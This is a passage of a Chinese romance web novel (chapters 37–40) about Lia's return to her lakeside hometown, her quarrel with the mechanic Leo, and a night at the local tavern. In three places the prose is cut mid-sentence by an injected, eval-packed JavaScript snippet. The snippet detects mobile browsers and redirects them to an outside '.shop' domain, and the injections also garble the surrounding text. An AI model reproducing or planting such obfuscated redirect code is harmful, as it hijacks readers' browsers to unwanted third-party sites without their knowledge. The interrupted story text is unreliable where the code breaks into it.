莉娅简单洗了手后锁上老屋的门，提着那个装了几件随身物品的简单行李袋出了门。 米勒太太似乎一直在留意着门口的动静，她拄着拐杖，站在门廊下： “莉娅亲爱的，快进来。” 她完全无视了儿子手里还拿着工具袋，立刻就开始指挥：“利奥别愣着，快去把客房窗户打开通通风，把柜子里那床新晒过被子拿出来铺上，枕头也拿出去晒过，还有窗台也擦一擦，肯定落灰了。” 利奥在母亲的指令下，沉默地、几乎是顺从地行动起来。他在客房里忙碌，打开窗户，擦拭窗台，动作麻利熟练，显然做惯了这些家事。 但他似乎不太习惯在莉娅的注视下进行这种过于居家的活动。 米勒太太则拉着莉娅的手，把她按在厨房餐桌旁那张铺着方格桌布的椅子上，自己则忙活着烧水泡茶。 傍晚，莉娅系上围裙帮着米勒太太在厨房准备晚餐。煎牛排的滋滋声伴随着黄油和迷迭香的浓郁香气，充满了温暖的厨房。土豆被切成均匀的块状，放进咕嘟冒泡的浓汤里。 米勒太太的话匣子彻底打开，从利奥小时候因为偷偷修邻居的自行车而忘了回家吃饭，再到最近安娜和吉姆医生依旧的吵架日常。 莉娅微笑着倾听，偶尔插上一两句话，手里的活计也没停下。 利奥大多时候沉默地待在客厅，或者坐在餐桌旁，面前摊开一份几天前的报纸。 厨房里流淌出的温暖光线、女人之间轻柔而持续的谈话声、食物诱人的香气，这一切都那么让他感到安心。 * 第二天清晨阳光透过客房的窗户，空气清新。 莉娅醒来，感到一种久违的宁静，她决定好好重新走一走这个小镇。 她先去了安娜阿姨家，安娜阿姨的院子永远是一片生机勃勃的景象，各种蔬菜和草药见缝插针地生长着，篱笆上爬满了豆角和牵牛花。 安娜阿姨本人正戴着一顶宽边草帽，蹲在地里给番茄苗松土。 “莉娅，我的小星星，我就知道是你回来了。”安娜阿姨看到她立刻放下小铲子，张开沾着新鲜泥土的双臂，给了她一个结实有力、充满阳光和泥土芬芳的拥抱。 她的嗓门洪亮，带着东欧口音的英语别具特色：“快让我看看，啧啧，真是越来越漂亮了。” 她拉着莉安的手，骄傲地展示她那些长势喜人的番茄、黄瓜和辣椒，“看看我的宝贝们，个个精神抖擞，比超市里那些用化肥催起来、软趴趴没味道的东西强一百倍。晚上回去给你带一篮子，让利奥那小子也尝尝什么叫真正的蔬菜，他啊，我看就知道啃他的黑面包和煎肉排。” 莉娅被她的热情感染，笑着道谢。 安娜阿姨凑近些，眨眨眼，压低了一点声音，像是分享什么秘密：“米勒太太可是高兴坏了，昨天碰到她就说你要去住几天，要我说你早该回来了。” 午后，阳光变得有些炽热。 莉娅解开缆绳，发动机器，小船便突突地向对岸驶去。 对岸的“鲈鱼喉”酒馆仿佛独立于时间之外，刚踏上那条有些年头、被脚步磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885599|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得光滑的木板栈桥，一条毛色棕黄、体型壮硕如小牛犊的狗就从酒馆门廊的阴影里冲了出来。它喉咙里发出“汪呜汪呜”的撒娇声，声音粗哑得像个抽了三十年烟的老水手，尾巴却摇得像装了马达，巨大的、毛茸茸的脑袋不停地往莉娅腿上蹭，表达着近乎狂热的欢迎。 “嘿船长，好了，好了，我知道你记得我。”莉娅笑着蹲下身，用力揉搓着它厚实的脖颈和耳朵，狗发出满足的哼哼声。 酒馆的木门吱呀一声开了，莉齐端着一个放满空啤酒杯的托盘探出身来。她围着那条印着啤酒商标的旧围裙，脸上红扑扑的，带着汗水和笑意。 “我说呢，是谁有这么大面子能让咱们‘船长’同志兴奋得跟见了肉骨头似的，果然是你回来了。”她放下托盘，冲过来给了莉娅一个结结实实的拥抱。 莉齐现在在酒馆工作，她给客人们端上冒着泡沫的啤酒或烈酒时，总会无比自然地顺手给自己也倒上一小杯，然后就待在在客人的桌旁听他们抱怨苛刻的老板、唠叨青春期的孩子、或者追忆模糊不清的辉煌往事。 她能把一场普通的抱怨变成脱口秀，也能把一段悲伤的倾诉化解在几句粗粝却真诚的安慰里。 “怎么样，外面的世界是不是花花绿绿，让人眼花缭乱？”莉齐给莉娅倒了杯冰镇啤酒，她自己也很自然地倒了一小杯，眼神明亮，“我跟你说，老板娘现在越来越依赖我了，进货算账招呼客人，我都能上手。我看啊，她迟早得把这摊子事业交给我，我都开始琢磨新菜单了。” 她得意地冲后面厨房方向努了努嘴。 正巧，老板娘端着一大盘刚出炉、香气四溢的炸鱼薯条走出来，听到这句话，立刻哼了一声，声音洪亮：“想得倒美莉齐，先把上个月你打碎我那套珍藏玻璃杯的钱从你工资里扣清了再说。还有，少在那儿吹牛，快去给三号桌添酒。” 语气里满是纵容和熟稔。 酒馆里人声嘈杂，混合着啤酒、炸物、烟草和旧木头的复杂气味，形成一种独特而令人安心的氛围，仿佛所有的烦恼都能在这里暂时浸泡、软化。 莉娅在“鲈鱼喉”坐了一阵，听着熟悉的乡音和带着粗犷幽默的玩笑，感觉像是某种中断的链接正在被一点点重新接上。 离开酒馆后她走进了镇中心那家总是堆满各种杂物的“哈里杂货店”。 在落满灰尘的货架深处，她发现了一块被遗忘的彩色玻璃。 不大，形状不规则，边缘有些磨损，像是从某扇废弃教堂窗户或老房子门上拆下来的遗物。当午后斜阳透过店铺窗户照在上面时，它立刻在地面投下了一片斑斓的光影。 莉娅几乎没有任何犹豫，就买下了它。哈里老头一边用布擦拭着玻璃上的灰尘，一边絮叨着说这玩意放了好多年都没人要。 抱着用旧报纸包好的彩色玻璃回到老屋，利奥已经将需要的木料和新瓦片拉来了，长长的木梯也稳稳地架在了屋檐下。他看到莉安怀里那块色彩鲜艳的玻璃，动作明显停顿了一下。 “我买了这个，”莉娅举起那块玻璃，夕阳的光线穿透它在她脸上和衣服上投下流动的色块，“我想用它来补那个洞，比灰扑扑的瓦片有意思，对吧？” 莉娅盯着那块玻璃看了几秒，目光又扫过屋顶的破洞。他最终什么也没评价，只是点了一下头，算是同意了。 38. chapter 38 他转身，动作利落地开始攀爬木梯，结实的工装靴踩在梯阶上发出沉稳的声响。 利奥先是用电锯和锤子小心而精准地处理掉那些腐朽的椽子木，换上新的、刷过防腐涂料的木料。莉娅在下面扶着梯子，仰头看着他。他整个人几乎嵌在屋顶的轮廓和天空之间，背部肌肉因为用力而绷紧。 她按照他的指令，递上扳手或钉子。 两人之间没有多余的交谈。 结构加固完毕，利奥开始仔细清理破损边缘的碎渣和灰尘，确保结合面平整牢固。然后他捧起那块彩色玻璃，比划着位置。 玻璃稳稳地安放上去，轻轻按压，接着他与玻璃边缘形状匹配的铜质压条覆盖上去，用小锤子轻轻敲打固定，确保密封严实又能抵御风雨。 最后他在玻璃周围的屋顶上熟练地铺上新瓦片，当最后一片瓦片被安置妥当，太阳几乎已经完全沉入了地平线之下，天空只剩下绚烂的晚霞余晖。 利奥从屋顶上下来，额发被汗水浸湿，脸上也沾了些许灰尘和油污。 莉娅迫不及待地走进屋内。 西边天际最后的、最浓烈的霞光，恰好以最佳角度穿透了那块彩色玻璃。刹那间光线如同被赋予了生命和神性，倾泻进原本昏暗的客厅。 莉娅静立片刻，然后特意将角落里那张旧藤编躺椅搬到了这片彩色光晕的中心。她转过头，看向依旧站在门口、身影大半隐在暮色阴影里的利奥。 他的脸上看不出什么表情，只是沉默地没踏进来。 “利奥，”她的声音在斑斓的光线中显得格外轻柔，“进来坐一会儿吧，我泡杯茶，你歇歇脚。” 利奥没有动，目光掠过地板上流动的色彩，掠过光晕中莉娅侧脸。 他的手指无意识地捻着工装裤侧面的布料，“我……”他喉咙有些发干，“工具还在外面，得收拾一下，皮卡的车斗也需要清理。” 莉娅转过头，目光穿过跳跃的光斑直直地看向他阴影中的眼睛。 “除了提供无条件的、专业的帮忙，”她轻声问道，“你甚至不愿意……跟我多待一会儿吗？” 她停顿了一下，看着他那张在明暗交界处显得愈发紧绷的脸庞，终于将那个盘旋在心头一整天的问题，清晰地摊开在他面前： “为什么呢，利奥？” 莉娅问出那句话后，空气中仿佛有什么东西骤然凝固了，彩色玻璃投射下的光斑依旧在地板上缓慢流转。 她不知道自已是否有资格这样问。 他们之间，从未有过任何明确的约定，甚至连一句像样的、超出朋友界限的承诺都不曾存在。或许她可以退一步，将这个问题包裹在“朋友”的外衣下，比如为什么我们好像越来越远了？ 但这层伪装太过脆弱，连她自己都无法说服。 那句话带着它最原始的形态，已然悬在了空中，无法收回。 在大学里，不是没有人对她表示过好感。 同系的学生、邻校的运动员，甚至某个在咖啡馆偶遇的、自称是自由撰稿人的英俊男人。他们约她看电影，请她跳舞，给她写情诗。 但莉娅总是很忙，忙着在图书馆啃读艰涩的理论著作，忙着在深夜敲打打字机完成一篇篇稿件，忙着打工赚取生活费，更忙着在陌生的环境中努力站稳脚跟，让自己变得更强韧。 她没有刻意等待谁，她只是在独自跋涉一条必须由自己走完的路。 那么利奥呢？在她缺席的这些年里，他的生活又是怎样一幅图景？ 此刻这个沉默的男人，就像水流磨砺得异常坚硬的礁石，矗立在彩色光晕的边缘，阴影覆盖了他大半张脸，让人看不清他眼中的情绪。 他本就话少，现在更是将所有的言语都封锁在了那紧抿的薄唇之后。 他们之间从小到大，几乎从未真正红过脸、吵过架。记忆里多是利奥默默跟在她身后，在她爬树掏鸟窝摔下来时一声不吭地背她回家。是她被镇上大孩子欺负时，他像一头被激怒的小兽般冲上去，即使被打得鼻青脸肿也不退缩。是夏天分享同一根冰棍，冬天挤在修理铺的火炉旁分享同一本冒险小说。 他们像一棵树的根系盘根错节地生长在一起，无需言语，便能感知到对方的喜怒哀乐。 良久，久到莉娅几乎以为他不会回答，或者会转身离开时，利奥的声音终于响起了。 那声音像是从胸腔深处艰难地挤压出来，穿透了斑斓的光幕。 “莉娅·罗斯，”他叫了她的名字，不是昵称，而是完整的名字，这本身就拉开了一种距离，“你不能……因为我帮了你一些忙，就产生依恋。” 他停顿了一下，“你父母走得早，很多事我顺手帮一把是应该的。就连你决定去上大学……我只是觉得你应该有更好的选择，不应该被困在这里。” 他的话语里带着疏离，仿佛在试图将过去所有的帮助都归结为一种……近乎本能的、对弱小者的照拂。 当一个人在最脆弱、最无助的时候，反复得到另一个人的帮助和支持，很容易将感激与某种更深的情感混淆。 莉娅看着他阴影中的轮廓，委屈和愤怒的情绪涌了上来。 她向前走了一步，仰头直视着他，声音因为激动而微微发颤：“帮了我这么多次？仅仅是顺手？利奥你看着我，告诉我，难道你就没有一点私心吗？” 私心？ 这个词让利奥僵硬了一下，他猛地转过头，几乎是脱口而出，“换成是安娜阿姨，是老汤姆，或是镇上任何一个人，在这样的情况下我都会出手帮忙，这跟是谁没关系。” 这句话让莉娅稍微闭上眼，她呼出一口气，再睁眼时定定地看着他。 片刻的死寂之后她清晰地、一字一顿地叫出了他的名字。 “利奥·米勒，”这是她第一次用全名称呼他，“你太傲慢了。” 说完她不再看他，转身走向楼梯口，她径直上了楼。 利奥依旧站在原地。 他们的第一次冷战，悄无声息地开始了。 * 冷战开始的日子，小镇的生活依旧按照它缓慢的节奏流淌。 莉娅将老屋里里外外彻底打扫了一遍，灰尘被清除，地板露出原本的木色，蒙尘的家具恢复了光泽。她将不多的个人物品摆放整齐，让这个空旷的房子终于有了一点“家”的气息。 大多数时候她喜欢坐在那张旧躺椅上，阳光透过彩色玻璃在她周围投下变幻的光影。她有时看书，有时只是静静地坐着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894851|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着光斑随着日头移动而缓慢爬行。 偶尔会有一只不怕生的野猫，或许是贪恋那块被阳光晒得暖洋洋的彩色玻璃，轻盈地跳上屋顶，蜷缩在玻璃旁打盹，它的身影在室内投下一个模糊而安详的剪影。 莉娅会看着那个小影子，看好久。 她会试着用面包或者香肠引诱那只猫，但对方警惕的很，她从来没有得手过。 兴致来时她会打开打字机，放在膝盖上开始写作。她努力让自己的心情保持愉悦，她写小镇的清晨，写湖面的波光，写安娜阿姨菜园里的生机等等。 她依然经常去看望米勒太太，自从米勒太太受伤后行动不便，她们那个由几位镇上老姐妹组成的“读书俱乐部”聚会地点，就从通风良好的旧谷仓搬到了米勒家更温暖舒适的客厅。 聚会每周一次，雷打不动。 这个下午，俱乐部成员们又聚在了一起。 客厅里弥漫着咖啡的醇香和刚烤好的苹果派的甜腻气息，米勒太太坐在她最舒适的扶手椅里，膝盖上盖着毛毯。 安娜阿姨带来了自家种的、脆生生的小黄瓜，一边咔嚓咔嚓地吃着，一边大声点评着上周大家读的一本爱情小说：“要我说，这女主角太扭捏了，喜欢就去追啊。像我们当年在东欧，看中了哪个小伙子，直接往他怀里塞个苹果。” 她洪亮的笑声几乎要掀翻屋顶。 吉姆医生坐得笔直，小口啜饮着黑咖啡。 另一位成员，温和的邮递员太太苏珊，则更喜欢朗读诗歌。她用柔和的声音念着一首关于秋天和离别的诗，眼神有些感伤，或许是想起了远嫁他州的女儿。 莉娅通常是那个被要求“念点新鲜玩意儿”的人。 今天她念了一段自己刚写的随笔，描写小镇码头的黄昏，她避开了所有可能引发联想的细节，只专注于景色本身。 “真好，莉娅，”米勒太太听完，轻轻拍着她的手，“就像又看到了那些老码头的样子，比你上次寄回来的那个……嗯那些评论家说很高深的故事，我更喜欢这个。” 她总是毫不掩饰对莉娅笔下乡土气息的偏爱。 安娜阿姨凑过来：“就是，写那些城里人的弯弯绕绕做什么？咱们这儿的故事就够写一辈子了，下次写写我的番茄大战土拨鼠怎么样？绝对精彩。” 莉娅微笑着应对每一位长辈的点评，心里暖融融的。 她能感觉到米勒太太偶尔投来的担忧目光。 聚会散场时女人们互相道别，约定下周再聚。 莉娅帮忙收拾着杯碟，米勒太太拉着她的手，轻声说：“利奥他……就是头倔驴，跟他爹一个样。有些事他心里明白，就是嘴笨转不过弯来，你别往心里去。” 莉娅垂下眼睑，笑了笑，没说话，她知道米勒太太的好意。 而另一边，修理铺里的生活仿佛没有任何变化。利奥依旧早起，开门迎接那些需要修理的机器。 他的动作依旧高效，也更沉默寡言。 他偶尔会抬头目光掠过街道，望向老屋的方向，但只是短短一瞬便又迅速收回，重新埋首于眼前的钢铁世界。 两人生活在同一个微小的小镇上，呼吸着同样的空气，却仿佛行走在两条再无交集的平行线上。 39. chapter 39 这天晚上，莉娅在“鲈鱼喉”酒馆待得比预想中要久。 莉齐的热情挽留，当窗外湖面的夜色彻底浓重，码头上的灯火在墨色水波中碎成点点金光时，她决定不摸黑回去了，就在酒馆楼上莉齐的房间里凑合一晚。 “太好了，”莉齐欢呼一声，眼睛亮晶晶的，“正好，老板娘新进了一批基酒，我们来做点实验。” 她拉着莉安钻进吧台后面，俨然一副女主人的架势。 酒馆里依旧人声鼎沸，男人们的声音尤其洪亮，话题不可避免地围绕着即将开始的青少年曲棍球联赛。 “要不是利奥·米勒那小子毕业得早，我们镇能年年被河对岸那帮孙子压着打？”一个满脸络腮胡、穿着工装背心的大汉捶了一下桌子，酒杯里的泡沫都溅了出来，“还记得他毕业那年那场比赛吗？一个人拿了三分，像头冲进羊群的狼。” “可不是嘛，”另一个瘦高个儿接口道，他正用粉笔在小黑板上写着下一轮比赛的赌注赔率，“他退队了，咱们最好的成绩也就是摸到三强的边儿，然后就乖乖回家钓鱼去了。唉，可惜了那股狠劲儿。” “嘿，也别这么说，老乔家的二小子，就是那个叫丹尼的，不是也打出点名堂了吗？听说现在在州府的飓风队里当替补呢！”有人试图提振一下士气。 “替补？哼，什么时候能打上主力再说吧。而且飓风队去年季后赛那丑闻你忘了？要我说，他们队那个金毛队长肯定搞了什么名堂，跑起来跟他妈装了马达似的，不然怎么解释？” 污言秽语和带着偏见的猜测是这类谈话的标准配料。 莉齐充耳不闻，兴致勃勃地拿出几个形状各异的玻璃杯和各种颜色的酒瓶。 “试试这个，”她将一股清澈的伏特加倒入雪克壶，又加入少许绿色的薄荷利口酒和大量的碎冰，“再加点柠檬汁。” 她用力摇晃着雪克壶，手臂划出有力的弧线，然后将混合好的、带着薄荷清香的冰凉液体滤入一个鸡尾酒杯，最后在杯口插上一片鲜嫩的薄荷叶作为装饰。 “尝尝。” 老板娘从厨房端出一盘炸洋葱圈，看到吧台后的“实验”，无奈地翻了个白眼：“莉齐你又在那儿浪费我的好酒。我告诉你，自从你来打工，你自己偷喝掉的酒都快赶上卖出去的了，我这酒馆没倒闭真是奇迹。” 莉齐笑嘻嘻地也递给她一杯：“尝尝嘛老板娘，新产品。再说，我整天听这帮家伙倒苦水，从老婆不理他到渔船漏网，要不喝点酒麻痹一下神经，我早就精神崩溃撂挑子不干了，我这叫职业损耗，懂不懂？” 老板娘哼了一声，但还是接过了酒杯抿了一口，挑剔地咂咂嘴：“薄荷味太重，盖住伏特加了。不过……还行。” 莉娅接过莉齐递来的另一杯，小心地抿了一口。 冰凉、清爽，带着强烈的薄荷和柠檬的刺激感，酒精的味道反而被掩盖了不少，像含着一块会流动的薄荷糖。她慢慢品味着，感受着酒精从喉咙滑向胃里。 莉齐一边擦着杯子，一边好奇地凑过来问：“哎莉娅，你酒品怎么样？大学的时候没偷偷喝过酒？” 莉娅又抿了一口酒，笑了笑：“拜托莉齐，我都成年了好吗？” “感觉嘛，”莉齐歪着头打量她，“感觉你不像是个会喝酒的人，太乖了。” 莉娅喝过的。 第一次正式喝酒，是在大学。 她的室友海莉，一个有着栗色卷发、性格像夏日骤雨般热烈奔放的富家女，在刚刚经历了一场痛彻心扉的分手后，收到了一张某品牌举办的品酒会邀请函。 海莉硬拉着有些忐忑的莉娅去了。 会场设在市中心一家高级酒店的宴会厅，水晶吊灯折射出璀璨的光芒，空气中弥漫着优雅的香水味和轻柔的古典乐。人们穿着晚礼服和定制西装，端着细脚酒杯，低声交谈。 海莉显然对这一切习以为常，她熟练地拿起一杯白葡萄酒，三两口就喝了下去，然后开始一边指着各种酒向莉娅介绍，一边咬牙切齿地控诉她那劈腿的前男友是如何的“人渣”和“没品位”。 莉娅则像个闯入者，小心翼翼地学着别人的样子拿起酒杯。 她对海莉说的那些“矿物味”、“橡木桶陈酿”毫无概念，只觉得红酒有些涩，白酒有点酸，唯一相同的是酒精带来的、微微发热的感觉。 她更多的是在观察，观察那些光鲜亮丽的人群，观察海莉在悲伤和愤怒中依旧保持的、与生俱来的自如。 “我喝过的，”莉娅对莉齐说，“酒品还行，喝醉了也不会耍酒疯。” 她顿了顿，眼神有些飘远，“就是想睡觉。” 那天在品酒会她确实喝醉了，就在海莉去洗手间的短暂空隙，一个穿着合体西装、头发梳得一丝不苟的年轻男子走了过来。 他长相英俊，举止彬彬有礼，微笑着与莉娅搭讪，谈论着墙上的抽象画时语气轻松幽默，丝毫不会让人感到冒犯。 显然是个中老手，懂得如何与女性周旋。 但莉娅却感到一种强烈的不自在，她不擅长应对这种充满暗示和试探的社交辞令，对方每一句巧妙的话都让她需要费力思考如何回应。 也正是在那一刻，她前所未有地想念起利奥。 和现在一样，在这喧闹的小镇酒馆里，面对莉齐直率的问题，那种感觉再次悄然浮现。 “嘿，莉娅。”莉齐的惊呼声把她从回忆中拉回现实，“老天，你就喝了这么几杯……” 莉娅只觉得眼皮越来越重，头也有些发沉。吧台温暖的灯光变得模糊，周围的嘈杂声仿佛隔了一层水幕。 她最后的意识是莉齐手忙脚乱地扶住她，以及老板希卡带着无奈笑意的声音：“行了行了，别嚷嚷了，快把她扶到楼上你房间去睡。真是的，一个两个都不让人省心……” 莉齐的房间在酒馆的顶层，需要通过一道陡峭狭窄的木楼梯上去。房间不大，低矮的斜屋顶使得空间有些压迫感，但收拾得干净温馨。 一张单人床，一个旧衣柜，一张小书桌。最明显的特点是极其不隔音，楼下酒客们的谈笑、碰杯声、甚至偶尔爆发出的粗犷歌声，都清晰可辨，仿佛就在耳边。 木头地板随着楼下脚步的震动微微发颤，莉娅被莉齐半扶半抱地弄到床上，几乎头一沾枕头就在这片奇异的、如同置身于喧嚣心脏地带的伴奏中，沉沉睡去。 而那次品酒会，她最终也醉了。 海莉从洗手间回来，发现莉娅脸颊绯红，对着那个搭讪者勉强微笑，立刻像个护崽的母鸡一样冲过来，三言两语就把那位绅士打发走了。 回学校的路上，海莉一边搀扶着脚步虚浮的莉娅， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900058|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边还在喋喋不休地抱怨前男友和批评莉娅的不胜酒力。 两个都喝了酒的女孩在深夜清冷的街道上走得歪歪扭扭，走到海莉那辆小巧的红色跑车旁时，她突然一拍手：“算了，这么晚回去宿舍也关门了。我们就在车里睡吧，明天早上直接去看日出。” 于是，两个醉醺醺的女孩就蜷缩在跑车狭窄的座椅上，迷迷糊糊地睡了过去。第二天清晨被刺眼的阳光和宿醉的头痛唤醒，她们真的驱车到了城市边缘的一个小山坡，看着太阳从高楼大厦的剪影后缓缓升起。 海莉揉着太阳穴问：“睡得好吗，亲爱的？” 莉娅望着天际那抹绚烂的橘红，轻声回答：“还好，做了一个梦。” 具体梦见了什么她已经记不清了，只记得一种模糊的、类似于回家的安心感。 * 清晨，莉娅醒得很早。 酒馆里一片寂静与昨晚的喧闹判若两地，阳光从狭小的窗户透进来在木地板上投下斑驳的光影。 楼下传来轻微的鼾声和船长在睡梦中发出的呜咽声，她蹑手蹑脚地起床，发现莉齐因为床被她占了蜷缩在楼下客厅一张短小的沙发上，睡得正香，一条薄毯子滑落了一半。 莉娅轻轻走过去，替她把毯子拉好盖严。 她走到门外，船长已经醒了，正从它的狗屋里钻出来，伸着懒腰，看到莉安尾巴立刻欢快地摇了起来，但没叫，只是发出亲昵的呜呜声。 莉娅对它比了个“嘘”的手势，解开了拴在门廊柱子上的皮带。 “走吧，伙计，我们去散散步。” 船长显然有自己固定的路线，它兴奋地拽着莉娅沿着湖岸一条被踩出来的小径小跑起来。清晨的空气带着湖水的湿润和青草的清新，沁人心脾，露珠在草叶上闪闪发光。 莉娅被狗牵着，一路小跑，穿过一片小树林，爬上一个缓坡。坡顶的视野豁然开朗，可以俯瞰整个湖面和对岸的小镇。 她在一块干燥的草地上坐下，船长也安静地趴在她身边，吐着舌头。从这里望去湖泊像一块巨大的、尚未完全苏醒的蓝宝石，她能看到自己家老屋的轮廓，还有更远处，利奥家那座白色的房子和旁边的修理铺屋顶。 一切都显得宁静而遥远。 她想起昨晚在酒馆嘈杂环境中做的梦，在那样喧闹的背景下沉睡是很少有的体验，那种充满生命力的噪音，让她想起了高中毕业舞会的那天晚上。 少年时期的莉娅，并非传统意义上人缘好的女孩。 她没有参加任何社团，大部分时间都和她唯一的、也是最要好的闺蜜奥黛丽黏在一起。 奥黛丽是个像野小子一样的姑娘，她们可以一起光着脚爬树，在奥黛丽父亲的严格看管下还教会了莉娅如何使用弹弓和□□。她们也一起去图书馆，奥黛丽总是看着借书卡上莉娅那遥遥领先的借阅记录，笑着打趣她迟早会变成个“四眼书呆子”。 毕业舞会那天，没有人来邀请她们，或许有男生蠢蠢欲动，但看到她们俩形影不离的样子也都打了退堂鼓。 她们也并不在意，自己穿着简单的裙子，在舞池边缘伴随着浪漫的音乐，互相搭着肩膀和腰，笨拙而又开心地跳着男女步。 那时利奥穿过拥挤的舞池，向她们走来。 在看到他的那一刻，莉娅的心都在鼓动。 40. chapter 40 音乐声、谈笑声、鞋子摩擦地板的声音汇成一片巨大的声浪，几乎要淹没一切。他走到她们面前，嘴唇动了动，说了句什么。 莉娅努力想听清，但周围的噪音太大了，她只看到他的嘴唇开合，看到他眼神里有一种罕见的紧张。 她大声问：“什么？利奥，你说什么？” 但他之后只是摇了摇头，转身又挤回了人群里。 那未听清的话语，成了她心中一个持久的谜团。 此刻坐在山坡上，看着湖对岸的家园，莉娅仿佛又感受到了舞会那晚的喧嚣，以及利奥向她走来时那份被声浪淹没的寂静。 狗用湿漉漉的鼻子蹭了蹭她的手，把她从回忆中拉回现实。 遛狗回来，“鲈鱼喉”酒馆刚刚苏醒。 清晨的静谧被厨房里隐约的炊具碰撞声打破，莉娅牵着船长走进后门，看到乔已经开始在巨大的煎锅前忙碌，空气中弥漫着咖啡和煎培根的浓郁香气。 酒馆的早餐通常开始得很晚，大概接近中午，样式也相当随性，完全取决于乔当天的心情和厨房里还剩下什么食材。今天看起来是煎蛋、培根、烤面包片和一大锅看起来粘稠滚烫的燕麦粥。 老板娘坐在角落的桌子旁，正对着一本厚厚的账本皱眉，手里拿着一支铅笔，面前放着一杯黑咖啡。莉齐则头发蓬乱地打着哈欠，在水槽边洗着一堆隔夜的玻璃杯，显然还没从睡眠中完全清醒。 “早，”莉娅轻声打招呼，把船长拴回它的角落。 “早啊，我们的睡美人醒啦？”莉齐转过头，带着促狭的笑容，“头不疼吧？” “还好。”莉娅笑了笑，走到乔身边，“需要帮忙吗，乔？” 乔头也没抬，用锅铲指了指旁边桌子上的面包篮和一小罐自制草莓酱。 “面包……烤一下。” 莉娅拿起几片厚切面包，放进老式的烤面包机里，拉下扳手。面包片渐渐变得焦黄酥脆后她小心地把烤好的面包片夹出来，放进垫着干净纱布的面包篮里。然后又拿起那罐草莓酱，打开盖子一股甜腻的果香飘了出来。 酱体浓稠，里面能看到大块的草莓果肉，是安娜阿姨的手艺。 “嘿，莉娅。帮我也抹点酱，我饿得手抖。”莉齐洗完了杯子，蹭了过来，把一片烤面包递到莉娅面前，自己则拿起另一片直接啃了起来，显然对早餐形式毫不讲究。 老板娘从账本上抬起眼，哼了一声：“莉齐，你就不能像个正常姑娘一样坐下来好好吃顿饭？还有，昨晚你们俩浪费的那点酒钱，我可记着呢。” 莉齐满不在乎地嚼着面包：“老板娘那叫研发新产品，吸引年轻顾客。你看莉娅，莉娅也觉得昨天的酒好喝。”她朝莉娅挤挤眼。 莉娅笑着把抹好果酱的面包递给莉齐，没有接话。 她喜欢这种轻松、略带混乱的早晨氛围。 吃完简单的早餐，莉娅回到了对岸。 阳光已经变得有些热烈，小镇街道上行人渐渐多了起来。她先回了趟家，打开那个嗡嗡作响的老旧冰箱，里面除了几瓶调味料、几个鸡蛋和一小盒牛奶，几乎空空如也。她拿出便签本和铅笔，靠在厨房流理台边开始列出需要采购的物品。 面粉、黄油、蔬菜、水果、咖啡豆、肉类…… 列好清单后她走到后院的小储物间，里面堆放着一些旧物，落满了灰。靠墙放着一辆女式自行车，车把有些锈迹，车座也蒙了尘，但整体骨架还很完好。 这辆车是利奥很多年前，用他姐姐淘汰下来的旧车翻新改造后给她的，她还记得当时他把车送到她手上的样子。 莉娅打来一桶水，用旧毛巾仔细地擦拭掉车身上的灰尘和蜘蛛网。漆面渐渐显露出来，虽然有些划痕，但依然干净清爽。 她给轮胎打了气，检查了一下刹车，似乎还能用。便骑着它去安娜阿姨的杂货铺，比走路方便多了。 她骑着车上了路，自行车发出轻微的嘎吱声，但还能顺畅前行。微风拂过脸颊，带着阳光和青草的味道。 但刚骑过小镇中心的邮局，正要下一个缓坡时只听“咔哒”一声轻响，脚下一空，链条脱落了。 莉娅叹了口气，并不十分意外。这辆车闲置太久了，出点问题很正常。她捏紧刹车稳稳地停下车，然后下车查看。 链条果然松垮垮地垂了下来，沾满了黑乎乎的油污。 她推着掉了链子的自行车，继续往前走。 这一条路要经过利奥的修理铺，铺子的卷帘门开着，里面传来金属敲击的声响，她忍不住放慢脚步，目光投向里面。 利奥正背对着门口，弯腰对付一台看起来结构复杂的农机部件。 他手里拿着一个巨大的扳手，手臂肌肉绷紧，用力拧着一个锈死的螺栓。敲击声停顿了一下，他换了一把锤子对准螺栓边缘，敲击了几下试图震松锈迹。 然后他又换回扳手，这次螺栓终于松动了。 整个过程中，他全神贯注。阳光从门口斜照进去，在他汗湿的背脊和专注的侧脸上投下坚毅的轮廓。 莉娅将自行车轻轻倚靠在修理铺外墙边，没有立刻打扰他。她就在门口安静地等着，看着他把那个部件修好，用抹布擦干净手上的油污。 直到他似乎告一段落，直起身子，去拿水壶喝水时莉娅才伸出手，轻轻拨动了一下自行车车把上的铃铛。 利奥喝水的动作顿住了。 他转过身，目光落在门口的莉娅身上，然后下移到她身边那辆掉了链子的自行车。 尽管他们已经冷战了一段时间，但他的脸上还是看不出什么特别的情绪。 